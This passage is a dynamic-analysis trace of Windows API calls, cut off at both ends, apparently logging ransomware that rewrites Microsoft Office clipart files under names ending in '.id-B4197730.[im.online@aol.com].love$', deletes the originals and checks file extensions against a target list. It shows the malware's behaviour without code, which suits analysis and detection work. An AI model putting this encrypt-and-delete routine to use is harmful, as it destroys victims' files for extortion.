dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x564 [0260.950] SetFilePointerEx (in: hFile=0x564, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d4fec0 | out: lpNewFilePointer=0x0) returned 1 [0260.950] SetFilePointerEx (in: hFile=0x564, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d4fec0 | out: lpNewFilePointer=0x0) returned 1 [0260.950] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00204_.WMF.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\in00204_.wmf.id-b4197730.[im.online@aol.com].love$"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x584 [0260.951] GetLastError () returned 0x0 [0260.951] ReadFile (in: hFile=0x564, lpBuffer=0x3a83020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d4fecc, lpOverlapped=0x0 | out: lpBuffer=0x3a83020*, lpNumberOfBytesRead=0x2d4fecc*=0x738, lpOverlapped=0x0) returned 1 [0260.956] WriteFile (in: hFile=0x584, lpBuffer=0x3a83020*, nNumberOfBytesToWrite=0x740, lpNumberOfBytesWritten=0x2d4fc94, lpOverlapped=0x0 | out: lpBuffer=0x3a83020*, lpNumberOfBytesWritten=0x2d4fc94*=0x740, lpOverlapped=0x0) returned 1 [0260.957] ReadFile (in: hFile=0x564, lpBuffer=0x3a83020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d4fecc, lpOverlapped=0x0 | out: lpBuffer=0x3a83020*, lpNumberOfBytesRead=0x2d4fecc*=0x0, lpOverlapped=0x0) returned 1 [0260.958] WriteFile (in: hFile=0x584, lpBuffer=0x3a83020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2d4fc94, lpOverlapped=0x0 | out: lpBuffer=0x3a83020*, lpNumberOfBytesWritten=0x2d4fc94*=0xec, lpOverlapped=0x0) returned 1 [0260.958] SetEndOfFile (hFile=0x584) returned 1 [0260.958] CloseHandle (hObject=0x584) returned 1 [0260.958] SetFilePointerEx (in: hFile=0x564, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d4fec0 | out: lpNewFilePointer=0x0) returned 1 [0260.959] SetEndOfFile (hFile=0x564) returned 1 [0260.962] CloseHandle (hObject=0x564) returned 1 [0260.962] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00204_.WMF.id-B4197730.[im.online@aol.com].love$", dwFileAttributes=0x220) returned 1 [0260.976] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00204_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\in00204_.wmf")) returned 1 [0260.982] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00204_.WMF") returned 68 [0260.982] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00204_.WMF") returned 68 [0260.982] lstrlenW (lpString=".doc") returned 4 [0260.982] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0260.982] lstrlenW (lpString=".docx") returned 5 [0260.982] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0260.982] lstrlenW (lpString=".pdf") returned 4 [0260.982] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0260.982] lstrlenW (lpString=".xls") returned 4 [0260.982] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0260.982] lstrlenW (lpString=".xlsx") returned 5 [0260.982] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0260.982] lstrlenW (lpString=".ppt") returned 4 [0260.983] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0260.983] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00204_.WMF") returned 68 [0260.983] lstrlenW (lpString=".zip") returned 4 [0260.983] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0260.983] lstrlenW (lpString=".rar") returned 4 [0260.983] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0260.983] lstrlenW (lpString=".bz2") returned 4 [0260.983] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0260.983] lstrlenW (lpString=".7z") returned 3 [0260.983] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0260.983] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00204_.WMF") returned 68 [0260.983] lstrlenW (lpString=".dbf") returned 4 [0260.983] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0260.983] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00204_.WMF") returned 68 [0260.983] lstrlenW (lpString=".1cd") returned 4 [0260.983] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0260.983] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00204_.WMF") returned 68 [0260.983] lstrlenW (lpString=".jpg") returned 4 [0260.983] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0260.984] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00204_.WMF") returned 68 [0260.984] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00204_.WMF") returned 68 [0260.984] lstrlenW (lpString=".doc") returned 4 [0260.984] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0260.984] lstrlenW (lpString=".docx") returned 5 [0260.984] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0260.984] lstrlenW (lpString=".pdf") returned 4 [0260.984] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0260.984] lstrlenW (lpString=".xls") returned 4 [0260.984] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0260.984] lstrlenW (lpString=".xlsx") returned 5 [0260.984] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0260.984] lstrlenW (lpString=".ppt") returned 4 [0260.984] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0260.984] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00204_.WMF") returned 68 [0260.984] lstrlenW (lpString=".zip") returned 4 [0260.984] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0260.984] lstrlenW (lpString=".rar") returned 4 [0260.984] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0260.984] lstrlenW (lpString=".bz2") returned 4 [0260.984] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0260.984] lstrlenW (lpString=".7z") returned 3 [0260.984] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0260.984] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00204_.WMF") returned 68 [0260.989] lstrlenW (lpString=".dbf") returned 4 [0260.989] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0260.989] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00204_.WMF") returned 68 [0260.989] lstrlenW (lpString=".1cd") returned 4 [0260.989] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0260.989] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00204_.WMF") returned 68 [0260.989] lstrlenW (lpString=".jpg") returned 4 [0260.989] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0260.989] lstrcmpiW (lpString1=".WMF", lpString2=".love$") returned 1 [0260.989] lstrlenW (lpString="IN00233_.WMF") returned 12 [0260.990] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00233_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\in00233_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x564 [0261.020] GetFileSizeEx (in: hFile=0x564, lpFileSize=0x2d4ff14 | out: lpFileSize=0x2d4ff14*=11190) returned 1 [0261.020] CloseHandle (hObject=0x564) returned 1 [0261.021] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00233_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\in00233_.wmf")) returned 0x220 [0261.021] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00233_.WMF.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\in00233_.wmf.id-b4197730.[im.online@aol.com].love$")) returned 0xffffffff [0261.021] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00233_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\in00233_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x564 [0261.022] SetFilePointerEx (in: hFile=0x564, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d4fec0 | out: lpNewFilePointer=0x0) returned 1 [0261.022] SetFilePointerEx (in: hFile=0x564, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d4fec0 | out: lpNewFilePointer=0x0) returned 1 [0261.022] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00233_.WMF.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\in00233_.wmf.id-b4197730.[im.online@aol.com].love$"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x584 [0261.024] GetLastError () returned 0x0 [0261.024] ReadFile (in: hFile=0x564, lpBuffer=0x3a83020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d4fecc, lpOverlapped=0x0 | out: lpBuffer=0x3a83020*, lpNumberOfBytesRead=0x2d4fecc*=0x2bb6, lpOverlapped=0x0) returned 1 [0261.132] WriteFile (in: hFile=0x584, lpBuffer=0x3a83020*, nNumberOfBytesToWrite=0x2bc0, lpNumberOfBytesWritten=0x2d4fc94, lpOverlapped=0x0 | out: lpBuffer=0x3a83020*, lpNumberOfBytesWritten=0x2d4fc94*=0x2bc0, lpOverlapped=0x0) returned 1 [0261.133] ReadFile (in: hFile=0x564, lpBuffer=0x3a83020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d4fecc, lpOverlapped=0x0 | out: lpBuffer=0x3a83020*, lpNumberOfBytesRead=0x2d4fecc*=0x0, lpOverlapped=0x0) returned 1 [0261.133] WriteFile (in: hFile=0x584, lpBuffer=0x3a83020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2d4fc94, lpOverlapped=0x0 | out: lpBuffer=0x3a83020*, lpNumberOfBytesWritten=0x2d4fc94*=0xec, lpOverlapped=0x0) returned 1 [0261.133] SetEndOfFile (hFile=0x584) returned 1 [0261.134] CloseHandle (hObject=0x584) returned 1 [0261.134] SetFilePointerEx (in: hFile=0x564, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d4fec0 | out: lpNewFilePointer=0x0) returned 1 [0261.134] SetEndOfFile (hFile=0x564) returned 1 [0261.138] CloseHandle (hObject=0x564) returned 1 [0261.138] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00233_.WMF.id-B4197730.[im.online@aol.com].love$", dwFileAttributes=0x220) returned 1 [0261.139] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00233_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\in00233_.wmf")) returned 1 [0261.140] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00233_.WMF") returned 68 [0261.140] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00233_.WMF") returned 68 [0261.140] lstrlenW (lpString=".doc") returned 4 [0261.140] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0261.141] lstrlenW (lpString=".docx") returned 5 [0261.141] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0261.141] lstrlenW (lpString=".pdf") returned 4 [0261.141] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0261.141] lstrlenW (lpString=".xls") returned 4 [0261.141] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0261.141] lstrlenW (lpString=".xlsx") returned 5 [0261.141] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0261.141] lstrlenW (lpString=".ppt") returned 4 [0261.141] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0261.141] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00233_.WMF") returned 68 [0261.141] lstrlenW (lpString=".zip") returned 4 [0261.141] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0261.141] lstrlenW (lpString=".rar") returned 4 [0261.141] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0261.141] lstrlenW (lpString=".bz2") returned 4 [0261.141] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0261.141] lstrlenW (lpString=".7z") returned 3 [0261.141] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0261.141] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00233_.WMF") returned 68 [0261.141] lstrlenW (lpString=".dbf") returned 4 [0261.141] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0261.141] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00233_.WMF") returned 68 [0261.141] lstrlenW (lpString=".1cd") returned 4 [0261.141] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0261.141] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00233_.WMF") returned 68 [0261.142] lstrlenW (lpString=".jpg") returned 4 [0261.142] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0261.142] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00233_.WMF") returned 68 [0261.142] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00233_.WMF") returned 68 [0261.142] lstrlenW (lpString=".doc") returned 4 [0261.142] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0261.142] lstrlenW (lpString=".docx") returned 5 [0261.142] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0261.142] lstrlenW (lpString=".pdf") returned 4 [0261.142] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0261.142] lstrlenW (lpString=".xls") returned 4 [0261.142] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0261.142] lstrlenW (lpString=".xlsx") returned 5 [0261.142] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0261.142] lstrlenW (lpString=".ppt") returned 4 [0261.142] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0261.142] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00233_.WMF") returned 68 [0261.142] lstrlenW (lpString=".zip") returned 4 [0261.142] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0261.142] lstrlenW (lpString=".rar") returned 4 [0261.142] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0261.142] lstrlenW (lpString=".bz2") returned 4 [0261.142] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0261.143] lstrlenW (lpString=".7z") returned 3 [0261.143] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0261.143] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00233_.WMF") returned 68 [0261.143] lstrlenW (lpString=".dbf") returned 4 [0261.143] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0261.143] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00233_.WMF") returned 68 [0261.143] lstrlenW (lpString=".1cd") returned 4 [0261.143] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0261.143] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00233_.WMF") returned 68 [0261.143] lstrlenW (lpString=".jpg") returned 4 [0261.143] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0261.143] lstrcmpiW (lpString1=".WMF", lpString2=".love$") returned 1 [0261.143] lstrlenW (lpString="IN00557_.WMF") returned 12 [0261.143] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00557_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\in00557_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x564 [0261.145] GetFileSizeEx (in: hFile=0x564, lpFileSize=0x2d4ff14 | out: lpFileSize=0x2d4ff14*=9172) returned 1 [0261.145] CloseHandle (hObject=0x564) returned 1 [0261.145] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00557_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\in00557_.wmf")) returned 0x220 [0261.146] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00557_.WMF.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\in00557_.wmf.id-b4197730.[im.online@aol.com].love$")) returned 0xffffffff [0261.146] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00557_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\in00557_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x564 [0261.146] SetFilePointerEx (in: hFile=0x564, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d4fec0 | out: lpNewFilePointer=0x0) returned 1 [0261.146] SetFilePointerEx (in: hFile=0x564, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d4fec0 | out: lpNewFilePointer=0x0) returned 1 [0261.146] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00557_.WMF.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\in00557_.wmf.id-b4197730.[im.online@aol.com].love$"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x584 [0261.148] GetLastError () returned 0x0 [0261.148] ReadFile (in: hFile=0x564, lpBuffer=0x3a83020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d4fecc, lpOverlapped=0x0 | out: lpBuffer=0x3a83020*, lpNumberOfBytesRead=0x2d4fecc*=0x23d4, lpOverlapped=0x0) returned 1 [0261.245] WriteFile (in: hFile=0x584, lpBuffer=0x3a83020*, nNumberOfBytesToWrite=0x23e0, lpNumberOfBytesWritten=0x2d4fc94, lpOverlapped=0x0 | out: lpBuffer=0x3a83020*, lpNumberOfBytesWritten=0x2d4fc94*=0x23e0, lpOverlapped=0x0) returned 1 [0261.247] ReadFile (in: hFile=0x564, lpBuffer=0x3a83020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d4fecc, lpOverlapped=0x0 | out: lpBuffer=0x3a83020*, lpNumberOfBytesRead=0x2d4fecc*=0x0, lpOverlapped=0x0) returned 1 [0261.247] WriteFile (in: hFile=0x584, lpBuffer=0x3a83020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2d4fc94, lpOverlapped=0x0 | out: lpBuffer=0x3a83020*, lpNumberOfBytesWritten=0x2d4fc94*=0xec, lpOverlapped=0x0) returned 1 [0261.247] SetEndOfFile (hFile=0x584) returned 1 [0261.270] CloseHandle (hObject=0x584) returned 1 [0261.283] SetFilePointerEx (in: hFile=0x564, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d4fec0 | out: lpNewFilePointer=0x0) returned 1 [0261.283] SetEndOfFile (hFile=0x564) returned 1 [0261.402] CloseHandle (hObject=0x564) returned 1 [0261.406] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00557_.WMF.id-B4197730.[im.online@aol.com].love$", dwFileAttributes=0x220) returned 1 [0261.716] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00557_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\in00557_.wmf")) returned 1 [0261.816] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00557_.WMF") returned 68 [0261.816] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00557_.WMF") returned 68 [0261.836] lstrlenW (lpString=".doc") returned 4 [0261.836] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0261.848] lstrlenW (lpString=".docx") returned 5 [0261.848] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0261.848] lstrlenW (lpString=".pdf") returned 4 [0261.848] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0261.848] lstrlenW (lpString=".xls") returned 4 [0261.848] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0261.848] lstrlenW (lpString=".xlsx") returned 5 [0261.848] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0261.848] lstrlenW (lpString=".ppt") returned 4 [0261.848] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0261.848] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00557_.WMF") returned 68 [0261.848] lstrlenW (lpString=".zip") returned 4 [0261.848] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0261.848] lstrlenW (lpString=".rar") returned 4 [0261.848] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0261.848] lstrlenW (lpString=".bz2") returned 4 [0261.848] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0261.848] lstrlenW (lpString=".7z") returned 3 [0261.848] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0261.848] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00557_.WMF") returned 68 [0261.848] lstrlenW (lpString=".dbf") returned 4 [0261.848] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0261.848] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00557_.WMF") returned 68 [0261.848] lstrlenW (lpString=".1cd") returned 4 [0261.848] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0261.849] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00557_.WMF") returned 68 [0261.849] lstrlenW (lpString=".jpg") returned 4 [0261.849] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0261.849] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00557_.WMF") returned 68 [0261.849] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00557_.WMF") returned 68 [0261.849] lstrlenW (lpString=".doc") returned 4 [0261.849] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0261.849] lstrlenW (lpString=".docx") returned 5 [0261.849] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0261.849] lstrlenW (lpString=".pdf") returned 4 [0261.849] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0261.849] lstrlenW (lpString=".xls") returned 4 [0261.849] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0261.849] lstrlenW (lpString=".xlsx") returned 5 [0261.849] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0261.849] lstrlenW (lpString=".ppt") returned 4 [0261.849] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0261.849] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00557_.WMF") returned 68 [0261.849] lstrlenW (lpString=".zip") returned 4 [0261.849] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0261.849] lstrlenW (lpString=".rar") returned 4 [0261.849] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0261.849] lstrlenW (lpString=".bz2") returned 4 [0261.849] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0261.849] lstrlenW (lpString=".7z") returned 3 [0261.849] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0261.849] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00557_.WMF") returned 68 [0261.849] lstrlenW (lpString=".dbf") returned 4 [0261.849] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0261.849] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00557_.WMF") returned 68 [0261.849] lstrlenW (lpString=".1cd") returned 4 [0261.849] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0261.850] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00557_.WMF") returned 68 [0261.850] lstrlenW (lpString=".jpg") returned 4 [0261.850] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0261.850] lstrcmpiW (lpString1=".WMF", lpString2=".love$") returned 1 [0261.850] lstrlenW (lpString="J0086428.WMF") returned 12 [0261.850] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0086428.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0086428.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4c8 [0262.192] GetFileSizeEx (in: hFile=0x4c8, lpFileSize=0x2d4ff14 | out: lpFileSize=0x2d4ff14*=35346) returned 1 [0262.192] CloseHandle (hObject=0x4c8) returned 1 [0262.192] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0086428.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0086428.wmf")) returned 0x220 [0262.192] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0086428.WMF.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0086428.wmf.id-b4197730.[im.online@aol.com].love$")) returned 0xffffffff [0262.193] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0086428.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0086428.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4c8 [0262.193] SetFilePointerEx (in: hFile=0x4c8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d4fec0 | out: lpNewFilePointer=0x0) returned 1 [0262.193] SetFilePointerEx (in: hFile=0x4c8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d4fec0 | out: lpNewFilePointer=0x0) returned 1 [0262.193] CreateFileW (lpFileName="C:\\Program Files\\Microsoft 